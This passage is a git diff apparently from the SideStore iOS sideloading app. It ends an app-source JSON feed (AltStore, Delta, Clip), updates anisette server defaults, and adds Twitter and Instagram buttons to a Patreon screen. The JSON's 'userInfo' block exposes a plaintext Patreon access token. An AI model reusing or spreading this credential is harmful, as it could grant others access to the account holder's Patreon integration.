"versionDescription": "• Fixed “error migrating persistent store” issue on launch\n\nPREVIOUS VERSION\n\nLock Screen Widget (iOS 16+)\n• Counts down days until AltStore expires\n• Comes in 2 different styles: “icon” and “text”\n\nError Log\n• View past errors in more detail\n• Tap an error to copy the error message or error code\n• Search for error code directly in AltStore FAQ",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/altstore/1_6_b2.ipa",
|
||||
"localizedDescription": "AltStore is an alternative app store for non-jailbroken devices. \n\nThis beta release of AltStore adds support for 3rd party sources, allowing you to download apps from other developers directly through AltStore.",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/65270980-1eb96f80-dad1-11e9-9367-78ccd25ceb02.png",
|
||||
"tintColor": "018084",
|
||||
"size": 5465933,
|
||||
"beta": true,
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/78942028-acf54300-7a6d-11ea-821c-5bb7a9b3e73a.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/78942222-0fe6da00-7a6e-11ea-9f2a-dda16157583c.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65605577-332cba80-df5e-11e9-9f00-b369ce974f71.PNG"
|
||||
],
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-fetch",
|
||||
"usageDescription": "AltStore periodically refreshes apps in the background to prevent them from expiring."
|
||||
},
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows AltStore to run longer than 30 seconds when refreshing apps in background."
|
||||
}
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Delta",
|
||||
"bundleIdentifier": "com.rileytestut.Delta",
|
||||
"developerName": "Riley Testut",
|
||||
"subtitle": "Classic games in your pocket.",
|
||||
"version": "1.3.1",
|
||||
"versionDate": "2021-12-02T13:30:00-08:00",
|
||||
"versionDescription": "• Fixes game artwork not loading\n• Fixes using deprecated DeSmuME core over melonDS core for some users",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/delta/1_3_1.ipa",
|
||||
"localizedDescription": "Delta is an all-in-one emulator for iOS. Delta builds upon the strengths of its predecessor, GBA4iOS, while expanding to include support for more game systems such as NES, SNES, and N64.\n\nFEATURES\n\nSupported Game Systems\n• Nintendo Entertainment System\n• Super Nintendo Entertainment System\n• Nintendo 64\n• Game Boy (Color)\n• Game Boy Advance\n• Nintendo DS\n• And plenty more to come!\n\nController Support\n• Supports PS4, PS5, Xbox One S, Xbox Series X, and MFi game controllers.\n• Supports bluetooth (and wired) keyboards, as well as the Apple Smart Keyboard.\n• Completely customize button mappings on a per-system, per-controller basis.\n• Map buttons to special “Quick Save”, “Quick Load,” and “Fast Forward” actions.\n\nSave States\n• Save and load save states for any game from the pause menu.\n• Lock save states to prevent them from being accidentally overwritten.\n• Automatically makes backup save states to ensure you never lose your progress.\n• Support for “Quick Saves,” save states that can be quickly saved/loaded with a single button press (requires external controller).\n\nCheats\n• Supports various types of cheat codes for each supported system:\n• NES: Game Genie\n• SNES: Game Genie, Pro Action Replay\n• N64: GameShark\n• GBC: Game Genie, GameShark\n• GBA: Action Replay, Code Breaker, GameShark\n• DS: Action Replay\n\nDelta Sync\n• Sync your games, game saves, save states, cheats, controller skins, and controller mappings between devices.\n• View version histories of everything you sync and optionally restore them to earlier versions.\n• Supports both Google Drive and Dropbox.\n\nCustom Controller Skins\n• Beautiful built-in controller skins for all systems.\n• Import controller skins made by others, or even make your own to share with the world!\n\nHold Button\n• Choose buttons for Delta to hold down on your behalf, freeing up your thumbs to press other buttons instead.\n• Perfect for games that typically require one button be held down constantly (ex: run button in Mario games, or the A button in Mario Kart).\n\nFast Forward\n• Speed through slower parts of games by running the game much faster than normal.\n• Easily enable or disable from the pause menu, or optionally with a mapped button on an external controller.\n\n3D/Haptic Touch\n• Use 3D or Haptic Touch to “peek” at games, save states, and cheat codes.\n• App icon shortcuts allow quick access to your most recently played games, or optionally customize the shortcuts to always include certain games.\n\nGame Artwork\n• Automatically displays appropriate box art for imported games.\n• Change a game’s artwork to anything you want, or select from the built-in game artwork database.\n\nMisc.\n• Gyroscope support (WarioWare: Twisted! only)\n• Microphone support (DS only)\n• Support for delta:// URL scheme to jump directly into a specific game.\n\n**Delta and AltStore LLC are in no way affiliated with Nintendo. The name \"Nintendo\" and all associated game console names are registered trademarks of Nintendo Co., Ltd.**",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391976-4d311700-c37a-11e9-91a8-4fb0c454413d.png",
|
||||
"tintColor": "8A28F7",
|
||||
"size": 19739373,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "photos",
|
||||
"usageDescription": "Allows Delta to use images from your Photo Library as game artwork."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/65600448-f7d9be00-df54-11e9-9e3e-d4c31296da94.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65813009-f2ae8600-e183-11e9-9eb7-704effc11173.png",
|
||||
"https://user-images.githubusercontent.com/705880/65601117-58b5c600-df56-11e9-9c19-9a5ba5da54cf.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65601125-5b182000-df56-11e9-9e7e-261480e893c0.PNG"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Delta",
|
||||
"bundleIdentifier": "com.rileytestut.Delta.Beta",
|
||||
"developerName": "Riley Testut",
|
||||
"subtitle": "Classic games in your pocket.",
|
||||
"version": "1.4b2",
|
||||
"versionDate": "2022-08-16T08:00:00-05:00",
|
||||
"versionDescription": "NEW\n• Supports Split View and Stage Manager multitasking on iPad\n• Automatically pauses + resumes emulation when switching between foreground apps with Stage Manager\n• Optimized full screen-width controller skins when using Split View, Slide Over, or Stage Manager\n• Supports controller skins with new `placement` parameter\n• Supports controller skins with custom screens that don’t have explicit `outputFrame`\n\nFIXED\n• Fixed not detecting keyboard presses when remapping inputs\n• Fixed potential crash rendering game screen after changing EAGLContext\n• Fixed incorrect game screen frame when software keyboard appears on iOS 16\n• Fixed software keyboard sometimes appearing when not emulating anything",
|
||||
"downloadURL": "https://cdn.altstore.io/file/altstore/apps/delta/1_4_b2.ipa",
|
||||
"localizedDescription": "The next consoles for Delta are coming: this beta version of Delta brings support for playing Nintendo DS and Sega Genesis games!\n\nPlease report any issues you find to support@altstore.io. Thanks!",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391976-4d311700-c37a-11e9-91a8-4fb0c454413d.png",
|
||||
"tintColor": "8A28F7",
|
||||
"size": 42968657,
|
||||
"beta": true,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "photos",
|
||||
"usageDescription": "Allows Delta to use images from your Photo Library as game artwork."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/65600448-f7d9be00-df54-11e9-9e3e-d4c31296da94.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65601942-e5ad4f00-df57-11e9-9255-1463e0296e46.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/65813009-f2ae8600-e183-11e9-9eb7-704effc11173.png",
|
||||
"https://user-images.githubusercontent.com/705880/65601117-58b5c600-df56-11e9-9c19-9a5ba5da54cf.PNG"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Clip",
|
||||
"bundleIdentifier": "com.rileytestut.Clip",
|
||||
"subtitle": "Manage your clipboard history with ease.",
|
||||
"developerName": "Riley Testut",
|
||||
"version": "1.0",
|
||||
"versionDate": "2020-06-17T12:30:00-07:00",
|
||||
"versionDescription": "Initial version 🎉",
|
||||
"downloadURL": "https://f000.backblazeb2.com/file/altstore/apps/clip/1_0.ipa",
|
||||
"localizedDescription": "Clip is a simple clipboard manager for iOS. \n\nUnlike other clipboard managers, Clip can continue monitoring your clipboard while in the background. No longer do you need to remember to manually open or share to an app to save your clipboard; just copy and paste as you would normally do, and Clip will have your back.\n\nIn addition to background monitoring, Clip also has these features:\n\n• Save text, URLs, and images copied to the clipboard.\n• Copy, delete, or share any clippings saved to Clip.\n• Customizable history limit.\n\nDownload Clip today, and never worry about losing your clipboard again!",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391981-5326f800-c37a-11e9-99d8-760fd06bb601.png",
|
||||
"tintColor": "EC008C",
|
||||
"size": 445056,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows Clip to continuously monitor your clipboard in the background."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/63391950-34286600-c37a-11e9-965f-832efe3da507.png",
|
||||
"https://user-images.githubusercontent.com/705880/70830209-8e738980-1da4-11ea-8b3b-6e5fbc78adff.png"
|
||||
]
|
||||
},
|
||||
{
|
||||
"name": "Clip",
|
||||
"bundleIdentifier": "com.rileytestut.Clip.Beta",
|
||||
"subtitle": "Manage your clipboard history with ease.",
|
||||
"developerName": "Riley Testut",
|
||||
"version": "1.1b1",
|
||||
"versionDate": "2020-06-17T12:30:00-07:00",
|
||||
"versionDescription": "This update adds a Custom Keyboard app extension for quick access to clippings when editing text.\n\nTo enable the keyboard, go to Settings > General > Keyboard > Keyboards > Add New Keyboard... and add \"ClipBoard\". Once added, make sure to then enable \"Allow Full Access\" for ClipBoard so it can access your clippings.",
|
||||
"downloadURL": "https://f000.backblazeb2.com/file/altstore/apps/clip/1_1_b1.ipa",
|
||||
"localizedDescription": "Clip is a simple clipboard manager for iOS. \n\nUnlike other clipboard managers, Clip can continue monitoring your clipboard while in the background. No longer do you need to remember to manually open or share to an app to save your clipboard; just copy and paste as you would normally do, and Clip will have your back.\n\nIn addition to background monitoring, Clip also has these features:\n\n• Save text, URLs, and images copied to the clipboard.\n• Copy, delete, or share any clippings saved to Clip.\n• Customizable history limit.\n\nDownload Clip today, and never worry about losing your clipboard again!",
|
||||
"iconURL": "https://user-images.githubusercontent.com/705880/63391981-5326f800-c37a-11e9-99d8-760fd06bb601.png",
|
||||
"tintColor": "EC008C",
|
||||
"size": 462771,
|
||||
"beta": true,
|
||||
"permissions": [
|
||||
{
|
||||
"type": "background-audio",
|
||||
"usageDescription": "Allows Clip to continuously monitor your clipboard in the background."
|
||||
}
|
||||
],
|
||||
"screenshotURLs": [
|
||||
"https://user-images.githubusercontent.com/705880/63391950-34286600-c37a-11e9-965f-832efe3da507.png",
|
||||
"https://user-images.githubusercontent.com/705880/70830209-8e738980-1da4-11ea-8b3b-6e5fbc78adff.png",
|
||||
"https://user-images.githubusercontent.com/705880/84842227-70a80b00-aff9-11ea-8b04-bedb1f49c4a7.PNG",
|
||||
"https://user-images.githubusercontent.com/705880/84842231-7271ce80-aff9-11ea-9272-e128aeceb95b.PNG"
|
||||
]
|
||||
}
|
||||
],
|
||||
"news": [
|
||||
{
|
||||
"title": "Delta Gaining DS Support",
|
||||
"identifier": "delta-ds-support",
|
||||
"caption": "Available this Saturday for patrons, coming soon for everyone else.",
|
||||
"tintColor": "8A28F7",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/65603159-0676a400-df5a-11e9-882e-dc5566f4d50a.png",
|
||||
"date": "2019-09-25",
|
||||
"notify": false
|
||||
},
|
||||
{
|
||||
"title": "Delta Now Available",
|
||||
"identifier": "delta-now-available",
|
||||
"caption": "Finally, relive your favorite NES, SNES, GB(C), GBA, and N64 games.",
|
||||
"tintColor": "8A28F7",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/65604130-c1ec0800-df5b-11e9-8150-7657c474e3c3.png",
|
||||
"appID": "com.rileytestut.Delta",
|
||||
"date": "2019-09-28",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "Sideloading is Here!",
|
||||
"identifier": "sideloading-is-here",
|
||||
"caption": "Update to AltStore 1.3 to install any app directly from Files.",
|
||||
"tintColor": "018084",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/79022069-02932380-7b32-11ea-8bad-49907cb97ece.png",
|
||||
"date": "2020-04-10T13:00:00-07:00",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "iOS 13.4 Fixes App Crashes",
|
||||
"identifier": "ios-13-4-now-available",
|
||||
"caption": "Update to iOS 13.4 to fix some sideloaded apps crashing on launch.",
|
||||
"tintColor": "34C759",
|
||||
"date": "2020-04-10T13:30:00-07:00",
|
||||
"notify": false
|
||||
},
|
||||
{
|
||||
"title": "Clip Now Available!",
|
||||
"identifier": "clip-now-available",
|
||||
"caption": "Finally, a clipboard manager that can run in the background — no jailbreak required.",
|
||||
"tintColor": "EC008C",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/65606598-04afdf00-df60-11e9-8f93-af6345d39557.png",
|
||||
"appID": "com.rileytestut.Clip",
|
||||
"date": "2020-06-17",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "Delta, Meet Nintendo DS",
|
||||
"identifier": "delta-meet-ds",
|
||||
"caption": "Update to Delta 1.3 to relive all your favorite Nintendo DS games.",
|
||||
"tintColor": "8A28F7",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/115617602-6ce2b600-a2a6-11eb-984e-2197a30c71e2.png",
|
||||
"appID": "com.rileytestut.Delta",
|
||||
"date": "2021-04-21",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "#StandWithUkraine",
|
||||
"identifier": "support-ukraine",
|
||||
"caption": "Find out how you can help support those impacted by the Russian invasion.",
|
||||
"tintColor": "003e80",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/156053447-a158cac7-df5f-4497-8025-15c3c2e10b48.png",
|
||||
"url": "https://linktr.ee/razomforukraine",
|
||||
"date": "2022-03-01",
|
||||
"notify": false
|
||||
},
|
||||
{
|
||||
"title": "The Biggest AltServer Update Yet!",
|
||||
"identifier": "altserver-1-5",
|
||||
"caption": "Update to AltServer 1.5 to use AltJIT and other exciting new features.",
|
||||
"tintColor": "018084",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/166509576-744be578-6868-4b7d-b4fd-b9418c084327.png",
|
||||
"url": "https://faq.altstore.io/release-notes/altserver",
|
||||
"date": "2022-05-03",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "More Apps in AltStore!",
|
||||
"identifier": "trusted-sources",
|
||||
"caption": "Update to AltStore 1.5 to easily download some of our favorite apps.",
|
||||
"tintColor": "00CAB3",
|
||||
"imageURL": "https://user-images.githubusercontent.com/705880/167026375-ddcb004f-7160-405c-b3e3-87a6795d2f43.png",
|
||||
"url": "https://faq.altstore.io/release-notes/altstore",
|
||||
"date": "2022-05-05",
|
||||
"notify": true
|
||||
},
|
||||
{
|
||||
"title": "New to AltStore?",
|
||||
"identifier": "updated-faq",
|
||||
"caption": "Check out our updated guide to learn how to sideload apps!",
|
||||
"tintColor": "018084",
|
||||
"url": "https://faq.altstore.io",
|
||||
"date": "2022-07-28",
|
||||
"notify": false
|
||||
}
|
||||
],
|
||||
"userInfo": {
|
||||
"patreonAccessToken": "uqoDoTxH8dY1ImE8tK76wxrzKk67gjyjBAcK8sD3RLU"
|
||||
}
|
||||
}
|
||||
@@ -16,14 +16,13 @@
|
||||
<key>Key</key>
|
||||
<string>customAnisetteURL</string>
|
||||
<key>DefaultValue</key>
|
||||
<string>http://191.101.206.188:6969</string>
|
||||
<string>https://ani.sidestore.io</string>
|
||||
<key>Titles</key>
|
||||
<array>
|
||||
<string>SideStore</string>
|
||||
<string>Macley (US)</string>
|
||||
<string>Macley (DE)</string>
|
||||
<string>DrPudding</string>
|
||||
<string>jkcoxson (AltServer)</string>
|
||||
<string>jkcoxson (Provision)</string>
|
||||
<string>Sideloadly</string>
|
||||
<string>Nick</string>
|
||||
<string>Jawshoeadan</string>
|
||||
@@ -31,11 +30,10 @@
|
||||
</array>
|
||||
<key>Values</key>
|
||||
<array>
|
||||
<string>http://us1.sternserv.tech</string>
|
||||
<string>http://de1.sternserv.tech</string>
|
||||
<string>https://ani.sidestore.io</string>
|
||||
<string>http://5.249.163.88:6969/</string>
|
||||
<string>http://45.132.246.138:6969/</string>
|
||||
<string>https://sign.rheaa.xyz</string>
|
||||
<string>http://jkcoxson.com:2095</string>
|
||||
<string>http://jkcoxson.com:2052</string>
|
||||
<string>https://sideloadly.io/anisette/irGb3Quww8zrhgqnzmrx</string>
|
||||
<string>http://45.33.29.114</string>
|
||||
<string>https://anisette.jawshoeadan.me</string>
|
||||
|
||||
@@ -1,27 +1,27 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="21225" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
|
||||
<document type="com.apple.InterfaceBuilder3.CocoaTouch.XIB" version="3.0" toolsVersion="21507" targetRuntime="iOS.CocoaTouch" propertyAccessControl="none" useAutolayout="YES" useTraitCollections="YES" useSafeAreas="YES" colorMatched="YES">
|
||||
<device id="retina6_1" orientation="portrait" appearance="light"/>
|
||||
<dependencies>
|
||||
<deployment identifier="iOS"/>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21207"/>
|
||||
<plugIn identifier="com.apple.InterfaceBuilder.IBCocoaTouchPlugin" version="21505"/>
|
||||
<capability name="Named colors" minToolsVersion="9.0"/>
|
||||
<capability name="documents saved in the Xcode 8 format" minToolsVersion="8.0"/>
|
||||
</dependencies>
|
||||
<objects>
|
||||
<placeholder placeholderIdentifier="IBFilesOwner" id="-1" userLabel="File's Owner"/>
|
||||
<placeholder placeholderIdentifier="IBFirstResponder" id="-2" customClass="UIResponder"/>
|
||||
<collectionReusableView opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="AboutHeader" id="xq2-Pl-zaG" customClass="AboutPatreonHeaderView" customModule="AltStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="0.0" width="375" height="445"/>
|
||||
<collectionReusableView opaque="NO" clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="center" insetsLayoutMarginsFromSafeArea="NO" reuseIdentifier="AboutHeader" id="xq2-Pl-zaG" customClass="AboutPatreonHeaderView" customModule="SideStore" customModuleProvider="target">
|
||||
<rect key="frame" x="0.0" y="0.0" width="390" height="682"/>
|
||||
<autoresizingMask key="autoresizingMask"/>
|
||||
<subviews>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" preservesSuperviewLayoutMargins="YES" axis="vertical" spacing="25" translatesAutoresizingMaskIntoConstraints="NO" id="XiA-Jf-XMp">
|
||||
<rect key="frame" x="16" y="2" width="343" height="393"/>
|
||||
<rect key="frame" x="16" y="2" width="358" height="630"/>
|
||||
<subviews>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="10" translatesAutoresizingMaskIntoConstraints="NO" id="5Ol-zN-wYv">
|
||||
<rect key="frame" x="0.0" y="0.0" width="343" height="317"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="358" height="426"/>
|
||||
<subviews>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" alignment="center" spacing="10" translatesAutoresizingMaskIntoConstraints="NO" id="f7H-EV-7Sx">
|
||||
<rect key="frame" x="0.0" y="0.0" width="343" height="55"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="358" height="55"/>
|
||||
<subviews>
|
||||
<imageView clipsSubviews="YES" userInteractionEnabled="NO" contentMode="scaleAspectFit" horizontalHuggingPriority="251" verticalHuggingPriority="251" image="SideStore" translatesAutoresizingMaskIntoConstraints="NO" id="pn6-Ic-MJm">
|
||||
<rect key="frame" x="0.0" y="0.0" width="55" height="55"/>
|
||||
@@ -31,7 +31,7 @@
|
||||
</constraints>
|
||||
</imageView>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" distribution="equalSpacing" spacing="10" translatesAutoresizingMaskIntoConstraints="NO" id="si2-MA-3RH">
|
||||
<rect key="frame" x="65" y="0.0" width="278" height="55"/>
|
||||
<rect key="frame" x="65" y="0.0" width="293" height="55"/>
|
||||
<subviews>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="2" translatesAutoresizingMaskIntoConstraints="NO" id="hkS-oz-wiT">
|
||||
<rect key="frame" x="0.0" y="0.0" width="83" height="55"/>
|
||||
@@ -51,7 +51,7 @@
|
||||
</subviews>
|
||||
</stackView>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="2" translatesAutoresizingMaskIntoConstraints="NO" id="TFB-qo-cbh">
|
||||
<rect key="frame" x="195" y="0.0" width="83" height="55"/>
|
||||
<rect key="frame" x="210" y="0.0" width="83" height="55"/>
|
||||
<subviews>
|
||||
<label opaque="NO" userInteractionEnabled="NO" contentMode="left" horizontalHuggingPriority="251" verticalHuggingPriority="251" ambiguous="YES" text="" textAlignment="right" lineBreakMode="tailTruncation" baselineAdjustment="alignBaselines" minimumScaleFactor="0.5" translatesAutoresizingMaskIntoConstraints="NO" id="Zpb-k3-y7l">
|
||||
<rect key="frame" x="0.0" y="0.0" width="83" height="50"/>
|
||||
@@ -75,11 +75,13 @@
|
||||
</constraints>
|
||||
</stackView>
|
||||
<textView clipsSubviews="YES" multipleTouchEnabled="YES" contentMode="scaleToFill" scrollEnabled="NO" editable="NO" textAlignment="natural" selectable="NO" translatesAutoresizingMaskIntoConstraints="NO" id="FeG-e5-LJl">
|
||||
<rect key="frame" x="0.0" y="65" width="343" height="252"/>
|
||||
<rect key="frame" x="0.0" y="65" width="358" height="361"/>
|
||||
<color key="backgroundColor" white="1" alpha="0.13" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
<string key="text">Hello, thank you for using SideStore!
|
||||
<string key="text">Thank you for using SideStore!
|
||||
|
||||
If you would subscribe to the patreon that would support us and make sure we can continue developing SideStore for you.
|
||||
Subscribing to the patreon supports us and makes sure we can continue developing SideStore for you.
|
||||
|
||||
Following us on social media allows us to give quick updates and spread the word about sideloading!
|
||||
|
||||
-SideTeam</string>
|
||||
<color key="textColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
@@ -89,10 +91,10 @@ If you would subscribe to the patreon that would support us and make sure we can
|
||||
</subviews>
|
||||
</stackView>
|
||||
<stackView opaque="NO" contentMode="scaleToFill" axis="vertical" spacing="13" translatesAutoresizingMaskIntoConstraints="NO" id="QS9-vO-bj8">
|
||||
<rect key="frame" x="0.0" y="342" width="343" height="51"/>
|
||||
<rect key="frame" x="0.0" y="451" width="358" height="179"/>
|
||||
<subviews>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="yEi-L6-kQ8">
|
||||
<rect key="frame" x="0.0" y="0.0" width="343" height="51"/>
|
||||
<rect key="frame" x="0.0" y="0.0" width="358" height="51"/>
|
||||
<color key="backgroundColor" name="SettingsHighlighted"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="51" id="l4o-vb-cMy"/>
|
||||
@@ -102,6 +104,28 @@ If you would subscribe to the patreon that would support us and make sure we can
|
||||
<color key="titleColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
</button>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="hov-Ce-LaM" userLabel="Twitter Button">
|
||||
<rect key="frame" x="0.0" y="64" width="358" height="51"/>
|
||||
<color key="backgroundColor" name="SettingsHighlighted"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="51" id="m0M-GX-KKG"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="19"/>
|
||||
<state key="normal" title="Follow us on Twitter!">
|
||||
<color key="titleColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
</button>
|
||||
<button opaque="NO" contentMode="scaleToFill" contentHorizontalAlignment="center" contentVerticalAlignment="center" buttonType="system" lineBreakMode="middleTruncation" translatesAutoresizingMaskIntoConstraints="NO" id="VdY-7Q-amF" userLabel="Twitter Button">
|
||||
<rect key="frame" x="0.0" y="128" width="358" height="51"/>
|
||||
<color key="backgroundColor" name="SettingsHighlighted"/>
|
||||
<constraints>
|
||||
<constraint firstAttribute="height" constant="51" id="kDo-b8-6tZ"/>
|
||||
</constraints>
|
||||
<fontDescription key="fontDescription" type="system" weight="semibold" pointSize="19"/>
|
||||
<state key="normal" title="Follow us on Instagram!">
|
||||
<color key="titleColor" white="1" alpha="1" colorSpace="custom" customColorSpace="genericGamma22GrayColorSpace"/>
|
||||
</state>
|
||||
</button>
|
||||
</subviews>
|
||||
</stackView>
|
||||
</subviews>
|
||||
@@ -114,19 +138,21 @@ If you would subscribe to the patreon that would support us and make sure we can
|
||||
<constraint firstItem="XiA-Jf-XMp" firstAttribute="top" secondItem="xq2-Pl-zaG" secondAttribute="top" constant="2" id="j8p-JX-Dcz"/>
|
||||
</constraints>
|
||||
<connections>
|
||||
<outlet property="instagramButton" destination="VdY-7Q-amF" id="5kj-9x-k4F"/>
|
||||
<outlet property="rileyImageView" destination="pn6-Ic-MJm" id="60i-Q0-ojz"/>
|
||||
<outlet property="rileyLabel" destination="DTd-Yu-HXr" id="O0y-JB-gWp"/>
|
||||
<outlet property="shaneLabel" destination="Zpb-k3-y7l" id="aQN-6B-s5T"/>
|
||||
<outlet property="supportButton" destination="yEi-L6-kQ8" id="Dzo-vd-SnD"/>
|
||||
<outlet property="textView" destination="FeG-e5-LJl" id="K0M-lF-I6u"/>
|
||||
<outlet property="twitterButton" destination="hov-Ce-LaM" id="gib-Lt-qtY"/>
|
||||
</connections>
|
||||
<point key="canvasLocation" x="138" y="138"/>
|
||||
<point key="canvasLocation" x="147.82608695652175" y="58.258928571428569"/>
|
||||
</collectionReusableView>
|
||||
</objects>
|
||||
<resources>
|
||||
<image name="SideStore" width="180" height="180"/>
|
||||
<image name="SideStore" width="1024" height="1024"/>
|
||||
<namedColor name="SettingsHighlighted">
|
||||
<color red="0.23529411764705882" green="0.0" blue="0.40392156862745099" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
<color red="0.38823529411764707" green="0.011764705882352941" blue="0.58823529411764708" alpha="1" colorSpace="custom" customColorSpace="sRGB"/>
|
||||
</namedColor>
|
||||
</resources>
|
||||
</document>
|
||||
|
||||
@@ -56,6 +56,8 @@ final class PatronsFooterView: UICollectionReusableView
|
||||
final class AboutPatreonHeaderView: UICollectionReusableView
|
||||
{
|
||||
@IBOutlet var supportButton: UIButton!
|
||||
@IBOutlet var twitterButton: UIButton!
|
||||
@IBOutlet var instagramButton: UIButton!
|
||||
@IBOutlet var accountButton: UIButton!
|
||||
@IBOutlet var textView: UITextView!
|
||||
|
||||
@@ -79,12 +81,12 @@ final class AboutPatreonHeaderView: UICollectionReusableView
|
||||
imageView.layer.cornerRadius = imageView.bounds.midY
|
||||
}
|
||||
|
||||
for button in [self.supportButton, self.accountButton].compactMap({ $0 })
|
||||
for button in [self.supportButton, self.accountButton, self.twitterButton, self.instagramButton].compactMap({ $0 })
|
||||
{
|
||||
button.clipsToBounds = true
|
||||
button.layer.cornerRadius = 16
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override func layoutMarginsDidChange()
|
||||
{
|
||||
|
||||
@@ -111,7 +111,9 @@ private extension PatreonViewController
|
||||
headerView.layoutMargins = self.view.layoutMargins
|
||||
|
||||
headerView.supportButton.addTarget(self, action: #selector(PatreonViewController.openPatreonURL(_:)), for: .primaryActionTriggered)
|
||||
|
||||
headerView.twitterButton.addTarget(self, action: #selector(PatreonViewController.openTwitterURL(_:)), for: .primaryActionTriggered)
|
||||
headerView.instagramButton.addTarget(self, action: #selector(PatreonViewController.openInstagramURL(_:)), for: .primaryActionTriggered)
|
||||
|
||||
let defaultSupportButtonTitle = NSLocalizedString("Become a patron", comment: "")
|
||||
let isPatronSupportButtonTitle = NSLocalizedString("View Patreon", comment: "")
|
||||
|
||||
@@ -173,14 +175,31 @@ private extension PatreonViewController
|
||||
|
||||
@objc func openPatreonURL(_ sender: UIButton)
|
||||
{
|
||||
// TODO: Is this the final URL? @JoeMatt
|
||||
let patreonURL = URL(string: "https://www.patreon.com/JitStreamer")!
|
||||
let patreonURL = URL(string: "https://www.patreon.com/SideStore")!
|
||||
|
||||
let safariViewController = SFSafariViewController(url: patreonURL)
|
||||
safariViewController.preferredControlTintColor = self.view.tintColor
|
||||
self.present(safariViewController, animated: true, completion: nil)
|
||||
}
|
||||
|
||||
@objc func openTwitterURL(_ sender: UIButton)
|
||||
{
|
||||
let twitterURL = URL(string: "https://twitter.com/SideStore_io")!
|
||||
|
||||
let safariViewController = SFSafariViewController(url: twitterURL)
|
||||
safariViewController.preferredControlTintColor = self.view.tintColor
|
||||
self.present(safariViewController, animated: true, completion: nil)
|
||||
}
|
||||
|
||||
@objc func openInstagramURL(_ sender: UIButton)
|
||||
{
|
||||
let twitterURL = URL(string: "https://instagram.com/sidestore.io")!
|
||||
|
||||
let safariViewController = SFSafariViewController(url: twitterURL)
|
||||
safariViewController.preferredControlTintColor = self.view.tintColor
|
||||
self.present(safariViewController, animated: true, completion: nil)
|
||||
}
|
||||
|
||||
@IBAction func authenticate(_ sender: UIBarButtonItem)
|
||||
{
|
||||
PatreonAPI.shared.authenticate { (result) in
|
||||
|
||||
@@ -21,7 +21,7 @@
|
